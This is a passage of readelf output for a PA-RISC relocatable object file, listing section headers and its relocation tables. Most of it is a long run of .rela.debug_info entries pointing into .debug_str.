  [18] .debug_aranges    PROGBITS        00000000 002c99 000020 00      0   0  1
  [19] .rela.debug_arang RELA            00000000 006744 000018 0c     23  18  4
  [20] .debug_str        PROGBITS        00000000 002cb9 00191e 01  MS  0   0  1
  [21] .comment          PROGBITS        00000000 0045d7 00003a 00      0   0  1
  [22] .shstrtab         STRTAB          00000000 004611 0000d5 00      0   0  1
  [23] .symtab           SYMTAB          00000000 004ad0 0001c0 10     24  15  4
  [24] .strtab           STRTAB          00000000 004c90 000119 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

There are no program headers in this file.

Relocation section '.rela.text' at offset 0x4dac contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
0000004c  00001422 R_PARISC_DLTIND21 00000000   __libc_pthread_functio + 0
00000054  00001426 R_PARISC_DLTIND14 00000000   __libc_pthread_functio + 0
00000064  0000150c R_PARISC_PCREL17F 00000000   $$dyncall + 0

Relocation section '.rela.debug_info' at offset 0x4dd0 contains 533 entries:
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
00000006  00000401 R_PARISC_DIR32    00000000   .debug_abbrev + 0
0000000c  00000601 R_PARISC_DIR32    00000000   .debug_line + 0
00000010  00000101 R_PARISC_DIR32    00000000   .text + 80
00000014  00000101 R_PARISC_DIR32    00000000   .text + 0
00000018  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1814
0000001d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 755
00000021  00000b01 R_PARISC_DIR32    00000000   .debug_str + 7bb
0000002d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 82f
00000038  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1859
0000003f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1579
0000004a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5d7
00000051  00000b01 R_PARISC_DIR32    00000000   .debug_str + 67c
0000005c  00000b01 R_PARISC_DIR32    00000000   .debug_str + ca1
00000063  00000b01 R_PARISC_DIR32    00000000   .debug_str + 25d
0000006e  00000b01 R_PARISC_DIR32    00000000   .debug_str + eb8
00000079  00000b01 R_PARISC_DIR32    00000000   .debug_str + ffc
00000080  00000b01 R_PARISC_DIR32    00000000   .debug_str + cca
00000087  00000b01 R_PARISC_DIR32    00000000   .debug_str + 188e
0000008e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 61c
00000095  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1487
0000009c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18f6
000000a7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 45a
000000b2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1c3
000000bd  00000b01 R_PARISC_DIR32    00000000   .debug_str + ec1
000000c4  00000b01 R_PARISC_DIR32    00000000   .debug_str + d57
000000cf  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2e6
000000da  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1859
000000e1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 41f
000000ec  00000b01 R_PARISC_DIR32    00000000   .debug_str + 6b8
000000fd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10c7
00000104  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1506
0000010f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 305
0000011a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 126d
00000125  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1cb
00000130  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1898
0000013b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 666
00000146  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14e8
00000159  00000b01 R_PARISC_DIR32    00000000   .debug_str + ace
00000178  00000b01 R_PARISC_DIR32    00000000   .debug_str + 362
00000183  00000b01 R_PARISC_DIR32    00000000   .debug_str + da7
00000192  00000b01 R_PARISC_DIR32    00000000   .debug_str + a7b
0000019a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1467
000001a8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16a3
000001bb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 6fc
000001c3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14be
000001da  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11eb
00000202  00000b01 R_PARISC_DIR32    00000000   .debug_str + 794
0000020a  00000b01 R_PARISC_DIR32    00000000   .debug_str + a50
00000218  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1915
00000227  00000b01 R_PARISC_DIR32    00000000   .debug_str + fdb
0000023c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1135
00000245  00000b01 R_PARISC_DIR32    00000000   .debug_str + 150d
00000253  00000b01 R_PARISC_DIR32    00000000   .debug_str + 781
00000261  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14f2
0000026f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 149
0000027d  00000b01 R_PARISC_DIR32    00000000   .debug_str + e37
0000028b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11e5
00000299  00000b01 R_PARISC_DIR32    00000000   .debug_str + 7fb
000002a7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 163b
000002b5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 22a
000002c3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 138d
000002d1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1245
000002df  00000b01 R_PARISC_DIR32    00000000   .debug_str + b37
000002ed  00000b01 R_PARISC_DIR32    00000000   .debug_str + d9a
000002fb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 387
00000309  00000b01 R_PARISC_DIR32    00000000   .debug_str + d4e
00000317  00000b01 R_PARISC_DIR32    00000000   .debug_str + e93
00000325  00000b01 R_PARISC_DIR32    00000000   .debug_str + fd1
00000333  00000b01 R_PARISC_DIR32    00000000   .debug_str + e9c
00000341  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13a4
0000034f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4cb
0000035d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 214
0000036b  00000b01 R_PARISC_DIR32    00000000   .debug_str + b81
00000379  00000b01 R_PARISC_DIR32    00000000   .debug_str + c2c
00000387  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12cc
00000395  00000b01 R_PARISC_DIR32    00000000   .debug_str + 186d
000003a3  00000b01 R_PARISC_DIR32    00000000   .debug_str + e26
000003b2  00000b01 R_PARISC_DIR32    00000000   .debug_str + b0a
000003c1  00000b01 R_PARISC_DIR32    00000000   .debug_str + c64
000003d0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1159
000003df  00000b01 R_PARISC_DIR32    00000000   .debug_str + 512
000003ee  00000b01 R_PARISC_DIR32    00000000   .debug_str + 6d8
000003fd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 159f
0000040c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2bb
0000041b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1f2
0000042a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16b3
00000439  00000b01 R_PARISC_DIR32    00000000   .debug_str + add
00000448  00000b01 R_PARISC_DIR32    00000000   .debug_str + 284
00000457  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3ab
00000466  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1165
00000475  00000b01 R_PARISC_DIR32    00000000   .debug_str + a5b
00000484  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9e1
00000493  00000b01 R_PARISC_DIR32    00000000   .debug_str + 54c
000004a2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 88b
000004b1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 582
000004c0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8
000004d4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 162a
000004dc  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1d2
000004ea  00000b01 R_PARISC_DIR32    00000000   .debug_str + 922
000004f8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 134f
00000506  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16d9
00000514  00000b01 R_PARISC_DIR32    00000000   .debug_str + 16ab
00000522  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15ea
00000530  00000b01 R_PARISC_DIR32    00000000   .debug_str + af
0000053e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 592
0000054c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1299
0000055d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1590
00000568  00000b01 R_PARISC_DIR32    00000000   .debug_str + 100e
0000057b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18e4
00000589  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3b7
00000597  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1650
000005a5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 0
000005c4  00000b01 R_PARISC_DIR32    00000000   .debug_str + b28
000005d7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 133a
000005e6  00000b01 R_PARISC_DIR32    00000000   .debug_str + bee
000005f9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1676
00000607  00000b01 R_PARISC_DIR32    00000000   .debug_str + 45
00000615  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13b6
00000623  00000b01 R_PARISC_DIR32    00000000   .debug_str + 695
00000631  00000b01 R_PARISC_DIR32    00000000   .debug_str + 36d
00000640  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5f9
00000653  00000b01 R_PARISC_DIR32    00000000   .debug_str + 57
00000662  00000b01 R_PARISC_DIR32    00000000   .debug_str + c18
00000671  00000b01 R_PARISC_DIR32    00000000   .debug_str + aa9
00000679  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12ae
00000687  00000b01 R_PARISC_DIR32    00000000   .debug_str + 869
00000695  00000b01 R_PARISC_DIR32    00000000   .debug_str + 670
000006a3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 729
000006b1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1520
000006bf  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15af
000006cd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 659
000006dc  00000b01 R_PARISC_DIR32    00000000   .debug_str + 231
000006e7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 402
000006f3  00000b01 R_PARISC_DIR32    00000000   .debug_str + a9
000006fa  00000b01 R_PARISC_DIR32    00000000   .debug_str + 851
00000705  00000b01 R_PARISC_DIR32    00000000   .debug_str + 160
00000710  00000b01 R_PARISC_DIR32    00000000   .debug_str + d89
0000071b  00000b01 R_PARISC_DIR32    00000000   .debug_str + a9d
0000072a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18ff
00000732  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3a0
00000740  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4b0
0000074e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14a9
0000075c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18b
00000775  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1709
0000077d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1426
0000078b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 190b
00000799  00000b01 R_PARISC_DIR32    00000000   .debug_str + 937
000007a7  00000b01 R_PARISC_DIR32    00000000   .debug_str + b1e
000007b5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10cc
000007d5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 194
000007e0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 118d
000007ef  00000b01 R_PARISC_DIR32    00000000   .debug_str + fa2
000007f7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 329
0000080e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 189e
00000819  00000b01 R_PARISC_DIR32    00000000   .debug_str + f4e
00000824  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10e6
00000864  00000b01 R_PARISC_DIR32    00000000   .debug_str + ad4
0000086c  00000b01 R_PARISC_DIR32    00000000   .debug_str + eb2
000008a3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 110f
000008a9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 80b
000008af  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1238
000008b5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14fd
000008bb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8b
000008c2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2ee
000008cd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1175
0000092f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17c
00000971  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8d3
0000097f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 27f
00000996  00000b01 R_PARISC_DIR32    00000000   .debug_str + 78c
000009a4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11f0
000009b2  00000b01 R_PARISC_DIR32    00000000   .debug_str + cd6
000009c0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9ad
000009ce  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17c2
000009dc  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13f4
000009ea  00000b01 R_PARISC_DIR32    00000000   .debug_str + d28
00000a3c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 146e
00000a5c  00000b01 R_PARISC_DIR32    00000000   .debug_str + d3b
00000a65  00000b01 R_PARISC_DIR32    00000000   .debug_str + abb
00000a73  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1458
00000a81  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18dc
00000a8f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 78c
00000a9d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8d8
00000ab8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15f6
00000ac6  00000b01 R_PARISC_DIR32    00000000   .debug_str + d32
00000ad4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1866
00000ae3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 488
00000af5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 97c
00000b07  00000b01 R_PARISC_DIR32    00000000   .debug_str + 884
00000b16  00000b01 R_PARISC_DIR32    00000000   .debug_str + 801
00000b25  00000b01 R_PARISC_DIR32    00000000   .debug_str + 103e
00000b34  00000b01 R_PARISC_DIR32    00000000   .debug_str + 945
00000b43  00000b01 R_PARISC_DIR32    00000000   .debug_str + bc3
00000b52  00000b01 R_PARISC_DIR32    00000000   .debug_str + 609
00000b61  00000b01 R_PARISC_DIR32    00000000   .debug_str + 19e
00000bd3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 712
00000bdb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14be
00000bea  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18a7
00000c05  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12d9
00000c10  00000b01 R_PARISC_DIR32    00000000   .debug_str + 566
00000c19  00000b01 R_PARISC_DIR32    00000000   .debug_str + e8a
00000c27  00000b01 R_PARISC_DIR32    00000000   .debug_str + efd
00000c36  00000b01 R_PARISC_DIR32    00000000   .debug_str + 7e
00000c56  00000b01 R_PARISC_DIR32    00000000   .debug_str + d02
00000c61  00000b01 R_PARISC_DIR32    00000000   .debug_str + c55
00000c82  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1543
00000c8a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9d7
00000c95  00000b01 R_PARISC_DIR32    00000000   .debug_str + 450
00000ca1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13eb
00000cb4  00000b01 R_PARISC_DIR32    00000000   .debug_str + d47
00000cc2  00000b01 R_PARISC_DIR32    00000000   .debug_str + bf
00000cd9  00000b01 R_PARISC_DIR32    00000000   .debug_str + c01
00000ce7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15df
00000cf5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 135c
00000d0c  00000b01 R_PARISC_DIR32    00000000   .debug_str + d47
00000d1a  00000b01 R_PARISC_DIR32    00000000   .debug_str + bf
00000d28  00000b01 R_PARISC_DIR32    00000000   .debug_str + 135c
00000d3f  00000b01 R_PARISC_DIR32    00000000   .debug_str + d47
00000d4d  00000b01 R_PARISC_DIR32    00000000   .debug_str + bf
00000d5b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 105c
00000d69  00000b01 R_PARISC_DIR32    00000000   .debug_str + 145e
00000d77  00000b01 R_PARISC_DIR32    00000000   .debug_str + 462
00000d8e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 95e
00000da5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1291
00000db3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14cf
00000dca  00000b01 R_PARISC_DIR32    00000000   .debug_str + 324
00000dd5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13c8
00000de0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2fe
00000df6  00000b01 R_PARISC_DIR32    00000000   .debug_str + 23b
00000e01  00000b01 R_PARISC_DIR32    00000000   .debug_str + 144e
00000e0c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 157
00000e2c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12e0
00000e34  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11f6
00000e42  00000b01 R_PARISC_DIR32    00000000   .debug_str + 221
00000e50  00000b01 R_PARISC_DIR32    00000000   .debug_str + ed7
00000e5e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11cc
00000e6d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 15fd
00000e80  00000b01 R_PARISC_DIR32    00000000   .debug_str + 149e
00000e8b  00000b01 R_PARISC_DIR32    00000000   .debug_str + eca
00000ebd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 290
00000ec5  00000b01 R_PARISC_DIR32    00000000   .debug_str + f7d
00000ed3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18ed
00000ee1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 90f
00000ef0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 64b
00000f06  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1793
00000f15  00000b01 R_PARISC_DIR32    00000000   .debug_str + a38
00000f1d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 836
00000f2b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1197
00000f39  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10a0
00000f47  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9a6
00000f6e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 816
00000f7d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1662
00000f92  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13c0
00000fa0  00000b01 R_PARISC_DIR32    00000000   .debug_str + f9d
00000fae  00000b01 R_PARISC_DIR32    00000000   .debug_str + 187a
00000fbc  00000b01 R_PARISC_DIR32    00000000   .debug_str + b44
00000fca  00000b01 R_PARISC_DIR32    00000000   .debug_str + c87
00000fd8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1342
00000fe6  00000b01 R_PARISC_DIR32    00000000   .debug_str + 769
00000ff4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 982
00001002  00000b01 R_PARISC_DIR32    00000000   .debug_str + e12
0000101b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 114b
00001023  00000b01 R_PARISC_DIR32    00000000   .debug_str + 71e
00001042  00000b01 R_PARISC_DIR32    00000000   .debug_str + 140f
00001055  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17c9
0000105b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 392
00001061  00000b01 R_PARISC_DIR32    00000000   .debug_str + 95
00001067  00000b01 R_PARISC_DIR32    00000000   .debug_str + 244
0000106d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 40a
00001073  00000b01 R_PARISC_DIR32    00000000   .debug_str + 175b
00001079  00000b01 R_PARISC_DIR32    00000000   .debug_str + ea6
0000107f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 330
00001085  00000b01 R_PARISC_DIR32    00000000   .debug_str + 30d
0000108b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 169
00001091  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1607
00001097  00000b01 R_PARISC_DIR32    00000000   .debug_str + 917
0000109d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9b6
000010a3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 94b
000010a9  00000b01 R_PARISC_DIR32    00000000   .debug_str + b8c
000010af  00000b01 R_PARISC_DIR32    00000000   .debug_str + bad
000010b5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 125c
000010bb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 351
000010c1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1848
000010c8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8fd
000010db  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3c3
000010e9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 173
000010f7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4a6
00001106  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5c2
00001111  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1396
00001121  00000b01 R_PARISC_DIR32    00000000   .debug_str + a19
00001129  00000b01 R_PARISC_DIR32    00000000   .debug_str + 141f
00001137  00000b01 R_PARISC_DIR32    00000000   .debug_str + b68
00001145  00000b01 R_PARISC_DIR32    00000000   .debug_str + 416
0000115e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13fc
00001166  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5d0
00001174  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17a6
0000118d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 824
000011a2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1a5
000011bb  00000b01 R_PARISC_DIR32    00000000   .debug_str + b55
000011c3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 574
000011df  00000b01 R_PARISC_DIR32    00000000   .debug_str + 27f
000011ed  00000b01 R_PARISC_DIR32    00000000   .debug_str + 147b
000011fc  00000b01 R_PARISC_DIR32    00000000   .debug_str + bb8
00001226  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2b
0000122e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 179c
0000123c  00000b01 R_PARISC_DIR32    00000000   .debug_str + b9b
00001266  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11ab
00001275  00000b01 R_PARISC_DIR32    00000000   .debug_str + 315
0000127d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13ce
0000128b  00000b01 R_PARISC_DIR32    00000000   .debug_str + f72
0000129e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 33c
000012a6  00000b01 R_PARISC_DIR32    00000000   .debug_str + faa
000012b4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 70a
000012c2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1030
000012dd  00000b01 R_PARISC_DIR32    00000000   .debug_str + cb4
00001330  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1184
00001338  00000b01 R_PARISC_DIR32    00000000   .debug_str + 19e
00001347  00000b01 R_PARISC_DIR32    00000000   .debug_str + 155a
00001356  00000b01 R_PARISC_DIR32    00000000   .debug_str + f2f
00001365  00000b01 R_PARISC_DIR32    00000000   .debug_str + d7b
00001374  00000b01 R_PARISC_DIR32    00000000   .debug_str + e42
00001383  00000b01 R_PARISC_DIR32    00000000   .debug_str + b10
00001392  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11a
000013a1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1102
000013b0  00000b01 R_PARISC_DIR32    00000000   .debug_str + e3
000013bf  00000b01 R_PARISC_DIR32    00000000   .debug_str + 8b4
000013ce  00000b01 R_PARISC_DIR32    00000000   .debug_str + 154a
000013dd  00000b01 R_PARISC_DIR32    00000000   .debug_str + be1
000013ec  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1273
000013fb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 545
0000140a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4f
00001419  00000b01 R_PARISC_DIR32    00000000   .debug_str + 166e
00001428  00000b01 R_PARISC_DIR32    00000000   .debug_str + 10da
00001437  00000b01 R_PARISC_DIR32    00000000   .debug_str + 14b2
00001446  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18b1
00001455  00000b01 R_PARISC_DIR32    00000000   .debug_str + ef
00001464  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1ec
00001473  00000b01 R_PARISC_DIR32    00000000   .debug_str + d92
00001482  00000b01 R_PARISC_DIR32    00000000   .debug_str + 12a5
00001491  00000b01 R_PARISC_DIR32    00000000   .debug_str + 953
000014a0  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1582
000014af  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1441
000014be  00000b01 R_PARISC_DIR32    00000000   .debug_str + 876
000014cd  00000b01 R_PARISC_DIR32    00000000   .debug_str + e31
000014dc  00000b01 R_PARISC_DIR32    00000000   .debug_str + 22
000014ec  00000b01 R_PARISC_DIR32    00000000   .debug_str + 930
00001500  00000b01 R_PARISC_DIR32    00000000   .debug_str + e6a
0000150b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 908
0000151f  00000b01 R_PARISC_DIR32    00000000   .debug_str + 849
0000152d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1374
0000153c  00000b01 R_PARISC_DIR32    00000000   .debug_str + f91
00001547  00000b01 R_PARISC_DIR32    00000000   .debug_str + ef1
00001595  00000b01 R_PARISC_DIR32    00000000   .debug_str + 174e
0000159d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 63
000015ab  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1646
000015b9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1252
000015c7  00000b01 R_PARISC_DIR32    00000000   .debug_str + 72
000015d5  00000b01 R_PARISC_DIR32    00000000   .debug_str + 446
000015e3  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17ac
000015f1  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1e0
000015ff  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1025
0000160d  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5b8
0000161b  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1716
00001629  00000b01 R_PARISC_DIR32    00000000   .debug_str + edf
00001637  00000b01 R_PARISC_DIR32    00000000   .debug_str + 17b2
00001645  00000b01 R_PARISC_DIR32    00000000   .debug_str + 859
00001653  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9e
00001661  00000b01 R_PARISC_DIR32    00000000   .debug_str + 53e
0000167a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1567
00001682  00000b01 R_PARISC_DIR32    00000000   .debug_str + 840
00001690  00000b01 R_PARISC_DIR32    00000000   .debug_str + cf6
0000169e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13ae
000016ac  00000b01 R_PARISC_DIR32    00000000   .debug_str + 13d6
000016ba  00000b01 R_PARISC_DIR32    00000000   .debug_str + 11d6
000016c8  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1217
000016d6  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1779
000016e4  00000b01 R_PARISC_DIR32    00000000   .debug_str + 3fa
00001716  00000b01 R_PARISC_DIR32    00000000   .debug_str + 4b9
0000173c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 376
0000175d  00000b01 R_PARISC_DIR32    00000000   .debug_str + db0
0000177a  00000b01 R_PARISC_DIR32    00000000   .debug_str + f3c
000017be  00000b01 R_PARISC_DIR32    00000000   .debug_str + e70
000017f9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 29a
00001808  00000b01 R_PARISC_DIR32    00000000   .debug_str + fb2
00001810  00000b01 R_PARISC_DIR32    00000000   .debug_str + bd5
0000181e  00000b01 R_PARISC_DIR32    00000000   .debug_str + 5e5
0000182c  00000b01 R_PARISC_DIR32    00000000   .debug_str + 1769
0000183a  00000b01 R_PARISC_DIR32    00000000   .debug_str + 53e
00001848  00000b01 R_PARISC_DIR32    00000000   .debug_str + c08
0000185d  00000b01 R_PARISC_DIR32    00000000   .debug_str + f19
00001873  00000b01 R_PARISC_DIR32    00000000   .debug_str + cde
0000187b  00000b01 R_PARISC_DIR32    00000000   .debug_str + c0f
00001889  00000b01 R_PARISC_DIR32    00000000   .debug_str + 18d4
00001897  00000b01 R_PARISC_DIR32    00000000   .debug_str + 53e
000018bd  00000b01 R_PARISC_DIR32    00000000   .debug_str + 169e
000018cb  00000b01 R_PARISC_DIR32    00000000   .debug_str + 53e
000018e2  00000b01 R_PARISC_DIR32    00000000   .debug_str + 169e
000018ed  00000b01 R_PARISC_DIR32    00000000   .debug_str + 2b0
000018f9  00000b01 R_PARISC_DIR32    00000000   .debug_str + 55b
00001904  00000b01 R_PARISC_DIR32    00000000   .debug_str + 611
0000190f  00000b01 R_PARISC_DIR32    00000000   .debug_str + f0e
00001917  00000b01 R_PARISC_DIR32    00000000   .debug_str + 9fc
00001925  00000b01 R_PARISC_DIR32    00000000   .debug_str + bcf
00001933  00000b01 R_PARISC_DIR32    00000000   .debug_str + 127c
00001952  00000b01 R_PARISC_DIR32    00000000   .debug_str + 995
